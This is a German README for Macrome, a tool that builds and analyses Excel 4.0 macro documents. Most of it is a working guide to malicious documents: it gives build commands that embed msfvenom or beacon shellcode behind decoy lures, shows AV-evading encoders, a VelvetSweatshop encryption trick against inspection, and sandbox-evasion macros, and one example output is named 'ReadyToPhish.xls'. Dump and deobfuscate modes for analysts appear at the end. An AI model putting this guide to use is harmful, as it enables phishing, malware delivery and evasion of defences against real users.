
Excel Macro Document Reader/Writer für Red Teamer und Analysten
Ein Excel-Makro-Dokument-Leser/Schreiber für Red-Teamer und Analysten. Blogbeiträge, die beschreiben, was dieses Tool eigentlich tut, finden sich hier und hier.

Klonen oder laden Sie dieses Repository herunter, das Tool kann dann mit dotnet ausgeführt werden – zum Beispiel:
dotnet run -- build --decoy-document Docs\decoy_document.xls --payload Docs\popcalc.bin
oder
dotnet build
cd bin/Debug/netcoreapp2.0
dotnet Macrome.dll deobfuscate --path obfuscated_document.xls
Beachten Sie, dass ein dotnet Build 5.0+ erforderlich ist, damit dies wie konfiguriert funktioniert; es kann von https://dotnet.microsoft.com/download/dotnet/5.0 bezogen werden.
Binäre Veröffentlichungen des Tools, die kein dotnet benötigen und eine ausführbare Binärdatei enthalten, finden Sie im Release-Bereich für Windows, OSX und Linux.
Führen Sie Macrome entweder mit dotnet run aus dem Lösungsverzeichnis oder mit dotnet gegen die erstellte Macrome-Binärdatei aus. Es gibt drei Betriebsmodi für Macrome: Build-Modus, Dump-Modus und Deobfuscate-Modus.
Führen Sie Macrome mit dem Befehl build aus, um ein Excel-Dokument zu generieren, das ein verschleiertes Makroblatt unter Verwendung eines bereitgestellten Täuschdokuments und Makro-Payloads enthält. dotnet Macrome.dll build -h zeigt die vollständigen Verwendungsanweisungen an.
Zum Beispiel, um ein Dokument mit dem Täuschdokument path/to/decoy_document.xls und der binären x86-Shellcode-Datei unter path/to/shellcode.bin zu erstellen, führen Sie dotnet Macrome.dll build --decoy-document path/to/decoy_document.xls --payload /path/to/shellcode.bin aus. Dies erzeugt ein XLS 2003-Dokument, das nach dem Öffnen und Drücken der Schaltfläche "Inhalt aktivieren" den Shellcode von shellcode.bin ausführt.
Der Rest der Dokumentation erklärt jedes Flag/jede Funktion im Detail, aber derzeit kann das "Neueste und Beste", das Macrome zu bieten hat, durch Ausführen von:
Macrome build --decoy-document decoy_document.xls --payload beacon.bin --payload64-bit beacon64.bin --payload-method Base64 --method ArgumentSubroutines --password VelvetSweatshop --preamble preamble.txt --output-file-name ReadyToPhish.xls
Generieren Sie zunächst ein Basis-„Täusch"-Excel-Dokument, das den Inhalt enthält, den die Benutzer sehen sollen. Dies sollte eine Art Köder sein, der Benutzer dazu verleitet, die Schaltfläche "Makros aktivieren" in Excel zu klicken. Beispiele für die „neueste und beste" Ködererstellung finden Sie unter https://inquest.net/blog/2020/05/06/ZLoader-4.0-Macrosheets-. Sobald dieses Blatt erstellt ist, speichern Sie das Dokument als Typ Excel 97-2003 Arbeitsmappe (*.xls) und nicht als das neuere Format Excel-Arbeitsmappe (*.xlsx). Ein Beispiel-Täuschdokument ist in /Docs/decoy_document.xls enthalten. Beachten Sie, dass Sie, wenn Sie XOR-Verschleierung zum Schutz Ihres Dokuments verwenden, derzeit KEIN Bild zu Ihrem Täuschdokument hinzufügen können.
Erstellen Sie als nächstes einen Shellcode-Payload, der dem Tool zur Verfügung gestellt wird. Der Beispiel-Binär-Payload (der calc öffnet) wurde mit msfvenom unter Verwendung der folgenden Parameter generiert:
msfvenom -a x86 -b '\x00' --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f raw EXITFUNC=thread > popcalc.bin
64-Bit-Payloads werden ebenfalls unterstützt. Der 64-Bit-Beispiel-Payload, popcalc64.bin, wurde mit folgendem Befehl generiert:
msfvenom -a x64 -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -e x64/xor -f raw EXITFUNC=thread > popcalc64.bin
Dieser Payload kann dann durch Ausführen des Befehls eingebettet werden:
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin
Derzeit erfordern 64-Bit-Payloads, dass auch ein x86-Payload bereitgestellt wird. Wenn dies kein Problem ist, können Sie einfach Müll für das x86-Payload-Flag angeben.
Es gibt eine eventuelle Unterstützung zum direkten Einbetten von .NET-Assemblies in das Dokument, aber wenn Sie das jetzt tun möchten, empfehle ich EXCELntDonut.
Ab Macrome 0.5.0 und höher werden alle Payloads mit Base64 codiert, sodass Ihr Payload jede Byte-Sequenz (einschließlich Nullbytes) enthalten kann.
Wenn Sie eine .NET-ausführbare Datei mit Macrome einbetten möchten, empfehle ich Donut mit dem Befehl donut.exe -a 3 -b 1 -z 1 executableToEmbed.exe und das Einbetten des resultierenden Payloads als sowohl Ihren 32-Bit- als auch 64-Bit-Payload.
Eine weitere solide Alternative ist Amber, das hervorragend zum Einbetten einiger ziemlich großer Go-Binärdateien funktioniert hat.
Wenn Sie aus irgendeinem Grund den Legacy-Payload-Kodierungsmodus von vor Macrome 0.5.0 verwenden möchten, verwenden Sie das Flag --payload-method mit SheetPackingMethod. Beachten Sie, dass im Legacy-Modus die Verwendung eines überwiegend alphanumerischen Payloads die Größe der generierten Makrodatei reduziert, da Buchstaben und Zahlen in Makroform einfacher auszudrücken sind, anstatt wiederholt CHAR-Funktionsaufrufe wie =CHAR(123)&CHAR(124)&CHAR(125)... anzuhängen. Das Tool sollte jedoch auch einen völlig nicht druckbaren binären Payload verarbeiten können.
Ähnlich wie bei der Verwendung binärer Payloads muss zunächst ein Täuschdokument erstellt werden. Als nächstes sollte eine Textdatei erstellt werden, die die auszuführenden Makros enthält. Makros sollten durch ;-Zeichen getrennte Spalten und durch Zeilenumbrüche getrennte Zeilen haben. Derzeit wird der Inhalt der angegebenen Makros geschrieben und ab A1 ausgeführt – zukünftige Unterstützung wird jedoch hinzugefügt, um die Angabe der Startposition zu ermöglichen. Beispielmakros finden Sie in /Docs/macro_example.txt und /Docs/multi_column_macro_example.txt.
Führen Sie schließlich den Befehl aus:
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload macro-example.txt --payload-type Macro
Beachten Sie die Verwendung des Flags payload-type auf Macro.
Sie können ein Makro selbst generieren oder das wunderbare Tool EXCELntDonut verwenden, um ein Makro für Sie zu erstellen.
Diese werden in einem kommenden Blogbeitrag detailliert beschrieben, aber Macrome kann Makro-Payloads jetzt auf drei verschiedene Arten kodieren. Die meisten davon werden noch von keinem Antivirenprogramm erkannt – experimentieren Sie jedoch mit Ihren Payloads, um zu sehen, was am besten funktioniert.
IF- und SET.NAME-Funktionen. Dies wurde von prominenten Maldoc-Autoren noch nicht missbraucht, daher ist es unwahrscheinlich, dass es derzeit bei AV anschlägt.ROUND-Funktion.Geben Sie eine Kodierung mit dem Flag method beim Bauen an – zum Beispiel, um den CharSubroutine-Encoder zu verwenden:
dotnet Macrome.dll b --decoy-document decoy_document.xls --method CharSubroutine --payload popcalc.bin --output-file-name CharSubroutine-Macro.xls
Manchmal möchten Sie möglicherweise, dass bestimmte Makros VOR dem Payload-Code ausgeführt werden. Dies ist nützlich, wenn Sie Makros zur Sandbox-Umgehung hinzufügen und/oder überprüfen möchten, ob Ihr Payload auf dem richtigen Host ausgeführt wird.
Das Format für Präambeldateien ist genau das gleiche wie bei der Verwendung von payload-type Macro, unterstützt jedoch nur eine einzelne Spalte. Zum Beispiel könnten Sie eine Präambel haben wie:
=IF(GET.WORKSPACE(13)<770, CLOSE(FALSE),)
=IF(GET.WORKSPACE(14)<390, CLOSE(FALSE),)
=IF(GET.WORKSPACE(19),,CLOSE(FALSE))
=IF(GET.WORKSPACE(42),,CLOSE(FALSE))
Dies würde die Bildschirmauflösungswerte, das Vorhandensein einer Maus und die Fähigkeit, Ton abzuspielen, überprüfen. Wenn einer dieser Checks fehlschlägt, würde die App geschlossen, bevor der Haupt-Payload-Inhalt ausgeführt wird.
Wenn Sie außerdem möchten, dass ein Präambel-Makro SOFORT ausgewertet wird, anstatt nach dem Entpacken der restlichen Makros, können Sie einem Befehl %%%%% voranstellen. Zum Beispiel:
%%%%%=IF(GET.WORKSPACE(13)<770, HALT(),)
%%%%%=IF(GET.WORKSPACE(14)<390, HALT(),)
%%%%%=IF(GET.WORKSPACE(19),,HALT())
%%%%%=IF(GET.WORKSPACE(42),,HALT())
Dies hilft, die Anzahl der XLM-Befehle zu minimieren, die vor dem Beenden des Dokuments ausgeführt werden, und kann für schnellere Reaktionen auf das Vorhandensein von Sandbox-Indikatoren hilfreich sein.
Macrome 0.3.0+ unterstützt den Passwortschutz von Dokumenten mittels XOR-Verschleierung, einem älteren Verschlüsselungsmodus aus VIEL älteren Office-Versionen. Dieser Verschlüsselungsmodus wird oft von IR-Tools nicht unterstützt und kann helfen, Dokumenteninhalte vor der Inspektion zu schützen.
Excel hat ein „Standard"-Passwort von VelvetSweatshop, mit dem Sie den Dokumenteninhalt verschlüsseln können, während das Dokument beim Öffnen automatisch entschlüsselt wird. Dies ist die „ideale" Art, XOR-Verschleierung in einem offensiven Kontext zu verwenden. Macrome wird automatisch versuchen, dieses Passwort zu verwenden, wenn ein Dokument deobfuskiert oder gedumpt wird.
Um diese Funktion zu nutzen, fügen Sie einfach --password <passwordToEncrypt> zu Ihrem Build-Befehl hinzu.
Führen Sie Macrome mit dem Befehl dump aus, um die relevantesten BIFF8-Datensätze für beliebige Dokumente auszugeben. Diese Funktionalität ähnelt der Makro-Dumping-Funktion von olevba, hat aber eine vollständigere Verarbeitung von Randfall-Ptg-Einträgen, um sicherzustellen, dass das Format so nah wie möglich an den tatsächlichen FORMULA-Einträgen von Excel ist. Dies habe ich verwendet, um einige der seltsamen Randfalldokumente zu debuggen, die ich bei der Erstellung dieses Tools generiert habe, daher ist es vergleichsweise robust. Ich bin sicher, dass es noch zahlreiche Randfälle gibt, die derzeit nicht unterstützt werden. Wenn Sie also ein Dokument finden, dessen Inhalt nicht ordnungsgemäß gedumpt wird, erstellen Sie bitte ein Issue und teilen Sie das Dokument als ZIP-Datei.
Der Dump-Befehl erfordert nur ein path-Argument, das auf die Zieldatei verweist. Ein Beispielaufruf ist:
dotnet Macrome.dll dump --path docToDump.xls
Die meisten Flags des dump-Befehls dienen dem Debugging, aber das dump-hex-bytes-Flag kann für Benutzer nützlich sein, die die einzelnen Byte-Payloads für relevante Datensätze sehen möchten. Dies ähnelt der Funktionalität von BiffView, allerdings werden standardmäßig nur maldocspezifische Einträge angezeigt.
Führen Sie Macrome mit dem Befehl deobfuscate aus, um ein verschleiertes XLS-Binärdokument zu nehmen und zu versuchen, mehrere Anti-Analyse-Verhaltensweisen umzukehren. dotnet Macrome.dll deobfuscate -h zeigt die vollständigen Verwendungsanweisungen an. Derzeit wird dieser Modus standardmäßig:
Lbl-Einträge normalisieren, die Excel als Auto_Open-Einträge interpretiert, obwohl ihr Name nicht dieser Zeichenfolge entspricht.Um beispielsweise eine schädliche XLS 2003-Makrodatei unter path/to/obfuscated_file.xls zu deobfuskenieren, führen Sie dotnet Macrome.dll deobfuscate --path path/to/obfuscated_file.xls aus. Dies erstellt eine Kopie der verschleierten Datei, die einfacher manuell oder mit Tools zu analysieren ist.
HINWEIS: Dies tut noch nicht sehr viel, es soll hauptsächlich demonstrieren, wie die Verwendung der modifizierten b2xtranslator-Bibliothek helfen kann, die Deobfuskation zu automatisieren. Weitere nützliche Funktionen folgen bald.
Großer Dank an all die Schultern, auf denen ich stehen konnte, um dies zu schreiben.
b2xtranslator-Bibliothek sowie die Leute bei EvolutionJobs, die sie aktualisiert und nach dotnet portiert haben. Der hier verwendete Code stammt ursprünglich von https://github.com/EvolutionJobs/b2xtranslator.